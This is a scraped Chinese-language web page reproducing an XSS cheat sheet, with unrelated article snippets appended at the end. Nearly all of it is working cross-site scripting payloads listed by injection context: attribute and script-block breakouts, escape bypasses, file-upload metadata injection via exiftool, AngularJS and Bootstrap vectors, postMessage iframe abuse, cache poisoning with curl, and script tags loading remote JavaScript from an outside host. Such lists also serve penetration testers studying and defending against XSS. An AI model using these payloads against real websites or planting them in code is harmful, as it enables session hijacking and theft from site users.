XSS Cheat Sheet(basics and advanced)
XSS Cheat Sheet
BASICS
- HTML注入
当输入位于HTML标记的属性值内或标记的外部(下一种情况中描述的标记除外)时使用。如果输入在HTML注释中,则在payload前加上“-->”
<svg onload=alert(1)>
"><svg onload=alert(1)>
- HTML注入-标签块突破
当输入落在以下标签的内部或打开/关闭之间时使用:
<title><style><script><textarea><noscript><pre><xmp><iframe>
</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>
- HTML注入-内联
当输入落在HTML标记的属性值内,但该标记不能以大于号(>)结束时使用
"onmouseover=alert(1) //
"autofocus onfocus=alert(1) //
- HTML注入-源文件
当输入作为下列HTML标记属性的值:href、src、data或action(也包括formaction)时使用。脚本标记中的Src属性可以是URL或“data:,alert(1)”。
javascript:alert(1)
Javascript注入
当输入位于脚本块中,在字符串分隔的值内时使用
'-alert(1)-'
'/alert(1)//
Javascript Injection - Escape Bypass
当输入位于脚本块中,在字符串分隔值内,但引号用反斜杠转义时使用。
\'/alert(1)//
- Javascript Injection – Script Breakout
</script><svg onload=alert(1)>
ADVANCED
- Javascript Injection - Logical Block
当输入在脚本块中、在字符串分隔值中、在单个逻辑块(如函数或条件块)(if、else等)中着陆时,使用payload1或payload2。如果引号用反斜杠转义,请使用payload3。
'}alert(1);{'
'}alert(1)%0A{'
\'}alert(1);{//
- Javascript Injection - Quoteless
使用时,有多个反射在同一行JS代码
/alert(1)//\
/alert(1)}//\
- Javascript上下文——模板文字中的占位符注入
当输入位于用反号(' ')分隔的字符串内或在模板引擎中时使用
${alert(1)}
- 多反射HTML注入-双反射(单输入)
用于利用同一页面上的多个反射
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
- 多反射HTML注入-三反射(单输入)
用于利用同一页面上的多个反射。
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
- Multi Input Reflections HTML Injection - Double & Triple(多次输入)
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
q=<script/&q=/src=data:&q=alert(1)>
- File Upload Injection – Filename
当上传的文件名在目标页的某个地方反映出来时使用。
"><svg onload=alert(1)>.gif
- File Upload Injection – Metadata
Use when metadata of uploaded file is reflected somewhere in target page. It uses
command-line exiftool (“$” is the terminal prompt) and any metadata field can be set.
当上传文件的元数据在目标页面某处反映时使用。它使用命令行exiftool($是终端提示符),可以设置任何元数据字段。
$ exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg
- File Upload Injection – SVG File
用于在上传图像文件时在目标上创建存储的XSS。将下面的内容保存为
“xss.svg”。
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
- DOM Insert Injection
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<svg><svg onload=alert(1)>
- DOM Insert Injection – Resource Request
本机javascript代码将请求的结果插入到可由攻击者控制的URL中时使用。
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
- PHP Self URL Injection
当前URL被目标的底层PHP代码用作属性值时使用
例如,HTML表单。在php扩展和查询部分(?)的开始之间使用斜杠(/)注入。
https://brutelogic.com.br/xss.php/"><svg onload=alert(1)>?a=reader
- Markdown Vector
用于文本框、注释部分等允许某些标记输入的地方。 Click to fire.
[clickme](javascript:alert1
)
[clickme](javascript:alert`1`)
- Script Injection - No Closing Tag
Use when there’s a closing script tag (</script>
) somewhere in the code after reflection.
<script src=data:,alert(1)>
<script src=//brutelogic.com.br/1.js>
- Javascript postMessage() DOM Injection (with Iframe)
Use when there’s a “message” event listener like in “window.addEventListener(‘message’, ...)”
in javascript code without a check for origin. Target must be able to be framed (X-Frame
Options header according to context). Save as HTML file (or using data:text/html) providing
TARGET_URL and INJECTION (a XSS vector or payload).
<iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')">
- XML-Based XSS
Use to inject XSS vector in a XML page (content types text/xml or application/xml).
Prepend a “-->” to payload if input lands in a comment section or “]]>” if input lands in a
CDATA section.
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//brutelogic.com.br/1.js"/>
- AngularJS Injections (v1.6 and up)
Use when there’s an AngularJS library loaded in page, inside an HTML block with ng-app
directive (1 st payload) or creating your own (2 nd one).
{{$new.constructor('alert(1)')()}}
<x ng-app>{{$new.constructor('alert(1)')()}}
- Onscroll Universal Vector Onscroll通用矢量
当使用onscroll事件处理程序时,用于XSS而不需要用户交互。
It works with
address, blockquote, body, center, dir, div, dl, dt, form, li, menu, ol, p, pre, ul, and h1 to h6
HTML tags.
<p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y
Type Juggling
Use to pass an “if” condition matching a number in loose comparisons.
1<svg onload=alert(1)>
1"><svg onload=alert(1)>
- XSS in SSI
Use when there’s a Server-Side Include (SSI) injection.
<<!--%23set var="x" value="svg onload=alert(1)"--><!--%23echo var="x"-->>
- SQLi Error-Based XSS
用于可以触发SQL错误消息的端点(使用引号或反斜杠)。
'1<svg onload=alert(1)>
<svg onload=alert(1)>\
- Injection in JSP Path
Use in JSP-based applications in the path of URL.
//DOMAIN/PATH/;<svg onload=alert(1)>
//DOMAIN/PATH/;"><svg onload=alert(1)>
- JS Injection - ReferenceError Fix
用于修正一些挂起的javascript代码的语法。检查控制台标签在浏览器
开发工具(F12)为各自的ReferenceError和替换相应的var和函数名。
(Use to fix the syntax of some hanging javascript code. Check console tab in Browser
Developer Tools (F12) for the respective ReferenceError and replace var and function
names accordingly.)
';alert(1);var myObj='
';alert(1);function myFunc(){}'
- Bootstrap Vector (up to v3.4.0)
Use when there’s a bootstrap library present on page. It also bypass Webkit Auditor, just
click anywhere in page to trigger. Any char of href value can be HTML encoded do bypass
filters.
<html data-toggle=tab href="<img src=x onerror=alert(1)>">
- Browser Notification
用作提示、提示和确认弹出窗口的另一种选择。它需要用户接受(第1个有效载荷),但是一旦用户之前为该站点进行了授权,就可以使用第2个有效载荷。
Notification.requestPermission(x=>{new(Notification)(1)})
new(Notification)(1)
- XSS in HTTP Header - Cached
Use to store a XSS vector in application by using the MISS-MISS-HIT cache scheme (if
there’s one in place). Replace with your respective vector and TARGET with a dummy
string to avoid the actual cached version of the page. Fire the same request 3 times.
$ curl -H "Vulnerable_Header: <XSS>" TARGET/?dummy_string
XSS Cheat Sheet(basics and advanced)的更多相关文章
- XSS Cheat Sheet
Basic and advanced exploits for XSS proofs and attacks. Work in progress, bookmark it. Technique Vec ...
- XSS Filter Evasion Cheat Sheet 中文版
前言 译者注: 翻译本文的最初原因是当我自己看到这篇文章后,觉得它是非常有价值.但是这么著名的一个备忘录却一直没有人把它翻译成中文版.很多人仅仅是简单的把文中的 各种代码复制下来,然后看起来很刁的发在 ...
- XSS (Cross Site Scripting) Prevention Cheat Sheet(XSS防护检查单)
本文是 XSS防御检查单的翻译版本 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sh ...
- Racket Cheat Sheet
Racket Cheat Sheet 来源 http://docs.racket-lang.org/racket-cheat/index.html?q=Racket%20Cheat%20Sheet ...
- 转:PostgreSQL Cheat Sheet
PostgreSQL Cheat Sheet CREATE DATABASE CREATE DATABASE dbName; CREATE TABLE (with auto numbering int ...
- Git Cheat Sheet
Merge Undo git merge with conflicts $ git merge --abort Archive $ git archive --format zip --output ...
- CSS3 Animation Cheat Sheet:实用的 CSS3 动画库
CSS3 Animation Cheat Sheet 是一组预设的动画库,为您的 Web 项目添加各种很炫的动画.所有你需要做的是添加样式表到你的网站,为你想要添加动画效果的元素应用预制的 CSS 类 ...
- IOS Application Security Testing Cheat Sheet
IOS Application Security Testing Cheat Sheet [hide] 1 DRAFT CHEAT SHEET - WORK IN PROGRESS 2 Int ...
- HTML5 Cheat sheet PNG帮助手册(标签、事件、兼容)
HTML5 Cheat sheet PNG帮助手册(标签.事件.兼容) 1.HTML5标签 2.HTML5事件 3.HTML5兼容 最新HTML5手册资料请参考:http://www.inmotion ...
随机推荐
- Kitty-Cloud环境准备
项目地址 https://github.com/yinjihuan/kitty-cloud 开发工具 开发工具目前对应的都是我本机的一些工具,大家可以根据自己平时的习惯选择对应的工具即可. 工具 说明 ...
- java对象转为json字符串
1.使用fastjson开源json工具类库 2.java类未添加get()和set()方法,java对象初始化时,使用fastjson解析,得到的json字符串有时为空{} 3.Java对象转为js ...
- P3381 【模板】最小费用最大流 题解
CSDN同步 原题链接 前置知识: 从三种算法剖析网络流本质 简要题意: 给定网络图,求图的最大流,以及流量为最大流时的最小费用. 现在假设你们看了那篇网络流博客之后,所有人都会了 \(\text{E ...
- 搭建DHProxy服务器
集群与存储 HAProxy简介 ...
- 关于Git我们不得不知道的事(一)
一.什么是Git? Git是目前世界上最先进的分布式版本控制系统(没有之一). Git可以协助我们很方便的管理我们的项目,我们随时可以找回(或者回到)我们之前任何一个时刻的项目:还可以让同事或者开发小 ...
- djangoRestFrameWork的小知识
djangoRestFrameWork的小知识 重写序列化器的save方法 有时候,.create()和.update()方法名称可能没有意义.例如,在联系表格中,我们可能没有创建新实例,而是发送了电 ...
- discuz 用户整合 账号整合 ucenter php网站整合discuz用户
引用:https://www.cnblogs.com/kenkofox/archive/2011/09/18/2180649.html 1.登录后台管理.(在论坛中,用创建论坛的admin账号登陆,然 ...
- ThinkPHP3.1.2 使用cli命令行模式运行
ThinkPHP3.1.2 使用cli命令行模式运行 标签(空格分隔): php 前言 thinkphp3.1.2 需要使用cli方法运行脚本 折腾了一天才搞定 3.1.2的版本真的很古老 解决 增加 ...
- mysql中的PACK_KEYS
原文 http://jackyrong.iteye.com/blog/2170222 在mysql的myisam引擎中,有一个是容易忽视的,叫压缩索引PACK_KEYS , myISAM使用前缀压缩 ...
- python 写一个生成大乐透号码的程序
""" 写一个生成大乐透号码的程序 生成随机号码:大乐透分前区号码和后区号码, 前区号码是从01-35中无重复地取5个号码, 后区号码是从01-12中无重复地取2个号码, ...